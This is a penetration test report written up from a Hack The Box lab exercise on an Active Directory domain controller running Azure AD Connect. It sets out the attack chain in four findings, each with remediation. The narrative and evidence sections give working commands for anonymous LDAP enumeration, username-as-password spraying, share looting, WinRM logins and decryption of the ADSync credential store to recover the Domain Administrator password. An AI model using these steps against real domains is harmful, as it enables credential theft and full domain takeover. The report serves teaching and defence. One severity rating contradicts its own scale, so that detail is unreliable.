PENETRATION TEST REPORT

MONTEVERDE

Security Assessment: Active Directory Domain Controller & Azure AD Connect

Target host	10.129.228.111 (MONTEVERDE.MEGABANK.LOCAL)
Operating system	Windows Server 2016 Standard
Role	Active Directory Domain Controller (megabank.local); Azure AD Connect sync server
Engagement type	Internal Network Penetration Test (black-box)
Assessor	Álvaro Irún Brea, Domain Security
Report date	10 September 2026
Reference	DS-PT-2026-002
Classification	CONFIDENTIAL

Confidentiality Notice

This document contains confidential information about the security posture of the assessed environment. It is intended solely for the recipient organisation and authorised personnel. The findings describe vulnerabilities that could be leveraged to compromise the environment; distribution should therefore be restricted. This report is a laboratory exercise conducted against the retired Hack The Box machine "Monteverde", written up as a professional penetration test report to demonstrate methodology, reporting standards, and remediation guidance.

Table of Contents

1. Executive Summary

An internal network penetration test was performed against a Windows Server 2016 Active Directory Domain Controller (megabank.local) that also hosts an installation of Azure AD Connect. The engagement simulated an unauthenticated attacker who has gained a foothold on the internal network, with no prior credentials or knowledge of the environment.

The assessment resulted in full compromise of the domain. Starting with no credentials whatsoever, the assessor recovered the user list via anonymous LDAP, obtained a low-privileged account through password spraying, pivoted to a second account via a credential left in a network share, and ultimately recovered the plaintext password of the Domain Administrator account by decrypting Azure AD Connect's local credential store, a database that should never have been reachable from a standard user context on this host.

Critically, no software exploit or 0-day was required. The compromise was achieved entirely by chaining together configuration weaknesses and poor credential-handling practices that are common in real hybrid Active Directory / Azure AD environments: anonymous directory enumeration, a weak password policy, a plaintext credential left in a file share, and a Domain Administrator account reused as the Azure AD Connect synchronization account on a server where that database was locally accessible.

Overall risk rating: CRITICAL

Because an attacker with no starting credentials was able to reach full domain administrative control, the overall risk to the environment is rated CRITICAL. Azure AD Connect's presence on the Domain Controller, combined with the reused Domain Administrator credential, turns a chain of otherwise moderate weaknesses into complete domain compromise.

Findings at a glance

ID	Finding	Severity	CVSS
F-01	Anonymous LDAP enumeration of domain users	MEDIUM	5.3
F-02	Weak password policy enabling username-as-password spraying	MEDIUM	5.3
F-03	Cleartext credential exposed in a user home directory share	HIGH	6.5
F-04	Full domain compromise via Azure AD Connect local credential store	CRITICAL	9.8

2. Scope & Methodology

2.1 Scope

The engagement was limited to a single in-scope host, assessed from the perspective of an attacker positioned on the internal network with no prior credentials or knowledge of the environment (black-box).

- **In scope:** 10.129.228.111 (MONTEVERDE.MEGABANK.LOCAL)
- **Excluded:** denial-of-service testing, social engineering, and physical attacks were out of scope.
- **Rules of engagement:** testing was authorised against this host only; all activity was non-destructive.

2.2 Methodology

The assessment followed a standard penetration-testing lifecycle aligned with the PTES (Penetration Testing Execution Standard) and the enumeration-first mindset appropriate to Active Directory environments:

- **Reconnaissance & enumeration**: full TCP port scan, service/version fingerprinting, and identification of the host's role in the domain.
- **Unauthenticated enumeration**: testing for anonymous access to LDAP, SMB and RPC before any credentialed activity.
- **Initial access**: password spraying against the domain's own password policy, then pivoting through a leaked credential.
- **Lateral movement**: post-foothold host and share enumeration to recover additional credentials.
- **Privilege escalation**: testing and ruling out ACL/DCSync theories, then abusing Azure AD Connect's local credential store to recover Domain Administrator credentials.
- **Reporting**: documentation of each finding with evidence, impact, CVSS scoring and remediation.

2.3 Tooling

The following industry-standard tools were used: Nmap (port scanning and service detection), ldapsearch (anonymous LDAP enumeration), NetExec (authentication testing, share enumeration and password spraying), smbclient and evil-winrm (SMB and WinRM access), and a custom PowerShell script leveraging Azure AD Connect's own mcrypt.dll library to decrypt its local credential store.

3. Attack Narrative

This section walks through the full attack chain in the order it was executed, showing how four independent weaknesses combined to escalate from zero access to full domain compromise. Each numbered weakness is documented in detail in Section 4.

3.1 Reconnaissance

A full TCP port scan identified the host as an Active Directory Domain Controller for the domain megabank.local, also exposing ADWS (9389), which is characteristic of a host also running Azure AD Connect or similar directory-integrated tooling.

```
nmap -sC -sV -p- -oN nmap-monteverde.txt 10.129.228.111

88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
389/tcp  open  ldap          Microsoft Windows AD LDAP (Domain: MEGABANK.LOCAL)
445/tcp  open  microsoft-ds
3268/tcp open  ldap          (Global Catalog)
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (WinRM)
9389/tcp open  mc-nmf        .NET Message Framing (AD Web Services)
```

3.2 Unauthenticated enumeration (F-01)

Before attempting any credentialed access, the assessor tested for an anonymous LDAP bind. The Domain Controller accepted it, disclosing the complete list of domain user accounts and their attributes.

```
ldapsearch -x -H ldap://10.129.228.111 -b "dc=megabank,dc=local" "(objectClass=user)" sAMAccountName
[+] 8 user account(s) enumerated via anonymous bind
```

3.3 Initial access: password spraying (F-02)

The domain password policy enforced no account-lockout threshold and no complexity requirement, so the assessor safely tested every account against itself as a candidate password.

```
netexec smb 10.129.228.111 --pass-pol
  Lockout threshold: None   |   Password complexity: False

netexec smb 10.129.228.111 -u users.txt -p users.txt --no-bruteforce --continue-on-success
  [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs
```

3.4 Lateral movement (F-03)

The compromised account authenticated over SMB only, but that was enough to enumerate shares that were denied anonymously, including a per-user home directory share. A file inside one user's folder contained a cleartext credential for a second, more useful account.

```
netexec smb 10.129.228.111 -u SABatchJobs -p SABatchJobs --shares
  users$    READ

smbclient //10.129.228.111/users$ -U 'SABatchJobs%SABatchJobs'
  \mhope\azure.xml  ->  cleartext password recovered

evil-winrm -i 10.129.228.111 -u mhope -p '<recovered password>'
```

3.5 Privilege escalation to Domain Administrator (F-04)

Post-foothold enumeration showed the compromised account belonged to a group alongside the Administrator account and a service account whose naming pattern matched an Azure AD Connect synchronization account. Both an ACL-abuse theory and a DCSync theory were tested and ruled out directly. The account's AD description confirmed that Azure AD Connect is installed on this same Domain Controller, and its local credential database (ADSync) was reachable and decryptable, revealing that its own connector account is the domain's Administrator.

```
query mms_server_configuration / mms_management_agent in the local ADSync database
add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
KeyManager.LoadKeySet(...) -> DecryptBase64ToString(...)
  forest-login-user: administrator
  password: <recovered plaintext>

evil-winrm -i 10.129.228.111 -u Administrator -p '<recovered password>'
  -> full domain compromise confirmed
```

4. Detailed Findings

F-01: Anonymous LDAP enumeration of domain users

Severity	**MEDIUM** **(5.3)**
CVSS vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Affected asset	LDAP service on the Domain Controller

Description

The Domain Controller accepted an anonymous LDAP bind, allowing an unauthenticated attacker to enumerate the complete list of domain user accounts along with attributes such as userPrincipalName and description. This information significantly lowers the barrier to further attacks such as password spraying, by providing a validated target list.

Evidence

```
ldapsearch -x -H ldap://10.129.228.111 -b "dc=megabank,dc=local" "(objectClass=user)" sAMAccountName
[+] 8 user account(s) returned, no credentials supplied
```

Impact

Disclosure of the full domain user list to any unauthenticated attacker on the network, enabling targeted password spraying and reconnaissance. This directly enabled the initial access described in F-02.

Remediation

- Restrict anonymous LDAP bind access on all Domain Controllers.
- Review LDAP interface security descriptors (dSHeuristics, LDAP signing/channel binding) and audit for legacy anonymous-access exceptions.
- Monitor for anonymous LDAP/SMB/RPC enumeration attempts.

References

- MITRE ATT&CK T1087: Account Discovery

F-02: Weak password policy enabling username-as-password spraying

Severity	**MEDIUM** **(5.3)**
CVSS vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Affected asset	Domain password policy (megabank.local)

Description

The domain password policy defined no account-lockout threshold and did not enforce password complexity. Combined with at least one account whose password matched its own username, this made a full-domain password spray both safe (no lockout risk) and effective.

Evidence

```
netexec smb 10.129.228.111 --pass-pol
  Lockout threshold: None
  Password complexity: False

netexec smb 10.129.228.111 -u users.txt -p users.txt --no-bruteforce --continue-on-success
  [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs
```

Impact

Attackers can spray or brute-force credentials at scale without triggering lockouts, and weak onboarding/service-account passwords are trivially guessed. This directly provided the initial authenticated foothold used throughout the rest of the assessment.

Remediation

- Configure an account-lockout threshold (e.g. 5–10 failed attempts) with an appropriate observation window and duration.
- Enforce password complexity and a stronger minimum length (12+ characters recommended), and screen against known-breached password lists.
- Ensure service and onboarding accounts never use a password matching or trivially derived from their username.

References

- MITRE ATT&CK T1110.003: Password Spraying

F-03: Cleartext credential exposed in a user home directory share

Severity	**HIGH** **(6.5)**
CVSS vector	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Affected asset	users$ share (SMB); mhope home directory

Description

Once authenticated with a low-privileged account, the assessor could browse the users$ share and its per-user home directories. One user's folder contained a serialized PowerShell credential object (consistent with an Export-Clixml-style export used for Azure AD-related scripting) with the password stored in cleartext rather than protected by the file system's own access controls being sufficient, or any additional encryption.

Evidence

```
smbclient //10.129.228.111/users$ -U 'SABatchJobs%SABatchJobs'
  \mhope\azure.xml

<SS N="Password"><plaintext password></SS>
```

Impact

Any authenticated attacker able to read this share recovers a second, more privileged credential, enabling lateral movement (see F-04). This is the pivot that turned a low-value account into a genuine foothold.

Remediation

- Remove the credential file immediately and rotate the exposed password.
- Audit all user home directories and shared locations for exported credential objects, scripts containing hardcoded secrets, or similar artefacts.
- Never export credentials to disk in cleartext-recoverable form; use a managed secrets store or gMSA-style managed accounts for automation.

References

- MITRE ATT&CK T1552.001: Unsecured Credentials: Credentials In Files

F-04: Full domain compromise via Azure AD Connect local credential store

Severity	**CRITICAL** **(9.8)**
CVSS vector	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Affected asset	Azure AD Connect installation (ADSync database) on the Domain Controller; Domain Administrator account

Description

Azure AD Connect was installed directly on the Domain Controller rather than on a dedicated server. Its local credential store (the ADSync database, a SQL Server LocalDB instance) was reachable with integrated security from an authenticated low-privileged session, and its encryption library (mcrypt.dll) is shipped in the same installation directory, allowing the connector account's password to be decrypted locally. That connector account turned out to be the domain's own Administrator account.

Evidence

```
SELECT keyset_id, instance_id, entropy FROM mms_server_configuration
SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type='AD'
KeyManager.LoadKeySet(...).GetActiveCredentialKey(...).DecryptBase64ToString(...)
  forest-login-user: administrator
  password: <recovered plaintext>
```

Impact

Complete and irreversible compromise of the entire Active Directory domain: an attacker gains full control over all accounts (including Domain Admins), all domain-joined computers, and all data, and can establish persistence that is extremely difficult to eradicate.

Remediation

- Never install Azure AD Connect on a Domain Controller; deploy it on a dedicated, hardened, tier-0-protected server.
- Never assign Domain Administrator rights to the Azure AD Connect connector account; grant only the minimal delegated permissions required for directory synchronization.
- Restrict access to the ADSync database and its installation directory to the service account and dedicated administrators only.
- Rotate the Domain Administrator password and review all recent authentication events for signs of abuse.

References

- MITRE ATT&CK T1552: Unsecured Credentials
- MITRE ATT&CK T1078.002: Valid Accounts: Domain Accounts

5. Recommendations

The following prioritised actions would break the demonstrated attack chain. Because each link in the chain is independent, remediating even a subset materially reduces risk; addressing all of them removes the demonstrated path to domain compromise entirely.

Immediate (break the attack chain now)

- Rotate the exposed credentials, including the Domain Administrator account, and any account whose password matched its own username.
- Remove the cleartext credential file from the network share and audit all user home directories for similarly stored secrets.
- Reset the Azure AD Connect connector account's password and ensure it is a dedicated, least-privileged account, never Domain Administrator.

Strategic (harden the environment)

- Disable anonymous LDAP and SMB/RPC null-session access on all Domain Controllers.
- Implement a robust password policy: lockout threshold, complexity, 12+ character minimum, and breached-password screening.
- Relocate Azure AD Connect off any Domain Controller onto a dedicated, hardened, tier-0-protected server.
- Establish a tier-0 administration model; treat any group containing service or sync accounts as sensitive and audit its membership and effective rights regularly.
- Deploy monitoring/alerting for anonymous directory enumeration, password spraying patterns, and access to the ADSync database outside the sync service itself.

Appendix A: Ratings & Disclaimer

A.1 Severity ratings

Findings are scored using CVSS v3.1. Severity bands are interpreted as follows:

Severity	CVSS	Interpretation
Critical	9.0 – 10.0	Trivial path to full compromise; remediate immediately.
High	7.0 – 8.9	Significant risk; remediate as a priority.
Medium	4.0 – 6.9	Meaningful risk, typically as part of a chain; schedule remediation.
Low	0.1 – 3.9	Limited impact; remediate as resources allow.

A.2 Disclaimer

This report reflects the security posture of the target at the time of testing and is not a guarantee that no other vulnerabilities exist. It documents a laboratory exercise against the retired Hack The Box machine "Monteverde", produced as a professional-format penetration test report for portfolio and educational purposes. All testing was authorised within the Hack The Box platform's terms of service.